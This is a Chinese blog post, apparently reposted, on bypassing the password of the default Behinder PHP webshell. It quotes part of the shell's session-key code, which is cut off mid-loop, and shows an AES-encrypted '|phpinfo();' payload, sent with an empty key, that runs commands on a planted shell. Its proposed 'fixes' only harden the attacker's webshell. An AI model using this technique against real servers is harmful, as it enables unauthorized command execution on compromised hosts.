【杂项】绕过冰蝎默认php马子密码,执行命令


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

绕过冰蝎默认php马子密码,执行命令

0x02 产生原因

0x03 复现

0x04 修复方案


 

原文第一篇来自:https://www.t00ls.net/articles-56337.html             作者:kl_520

PS:膜拜tools 的大佬们

绕过冰蝎默认php马子密码,执行命令

冰蝎默认php 马:

本地搭建Discuz 环境,直接将WebShell.php 上传到update 目录下

【杂项】绕过冰蝎默认php马子密码,执行命令_第1张图片

冰蝎马子我用的是现在最新版本2.0.1 版本,马子在server 文件下,文件名为shell.php,我上传的时候改为了webshell.php

【杂项】绕过冰蝎默认php马子密码,执行命令_第2张图片

访问页面是这样的,状态码显示200

【杂项】绕过冰蝎默认php马子密码,执行命令_第3张图片

砸门啥也不管,直接上冰蝎连接,输入webshell地址+默认webshell 密码,其它保持默认不用管,点击【保存】按钮

【杂项】绕过冰蝎默认php马子密码,执行命令_第4张图片

成功链接上

【杂项】绕过冰蝎默认php马子密码,执行命令_第5张图片

0x02 产生原因

当有get有参数pass时,随机一个密码给session[k]并打印出来

if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}

如果get没有参数pass时,读取session[k] 来当作解密的密钥,接收 put 的数据,解密然后通过 | 分割执行。

{
    $key=$_SESSION['k'];
        $post=file_get_contents("php://input").'';
        if(!extension_loaded('openssl'))
        {
                $t="base64_"."decode";
                $post=$t($post."");
                
                for($i=0;$i

此时我们最开始时不要访问 shell.php?pass=1 那么seesion[k]就不会被赋值,也就是空。
记住千万不要访问,如果访问了清空缓存再试,通过 openssl_encrypt('|phpinfo();','AES128','');  加密phpinfo。// key值 为空
然后echo 加密后的值,post 提交给冰蝎马。那么phpinfo();也会被执行成功,即可不需要密码就能连接默认冰蝎php马的webshell。

 

0x03 复现

我的电脑环境就是复现不成功,不知道为啥.... ....扯淡,弄半天了,朋友跟我思路一样,步骤也一样为什么就复现不出来... ...,无语

此处,盗用它的图来做演示好了

首先

得到加密后的phpinfo:4eNW........

执行phpinfo

【杂项】绕过冰蝎默认php马子密码,执行命令_第6张图片

执行whoami 

 

【杂项】绕过冰蝎默认php马子密码,执行命令_第7张图片

 

0x04 修复方案

自己改吧

这里提供tools上大佬们提供的解决方案

第一种:

连接的时候把UA设置成:123321666 

PS:但通过UA 特征会比较明显

第二种:

判断seesion

参考链接:

               https://www.t00ls.net/articles-56337.html


虽然我们生活在阴沟里,但依然有人仰望星空!


 

你可能感兴趣的:(杂烩)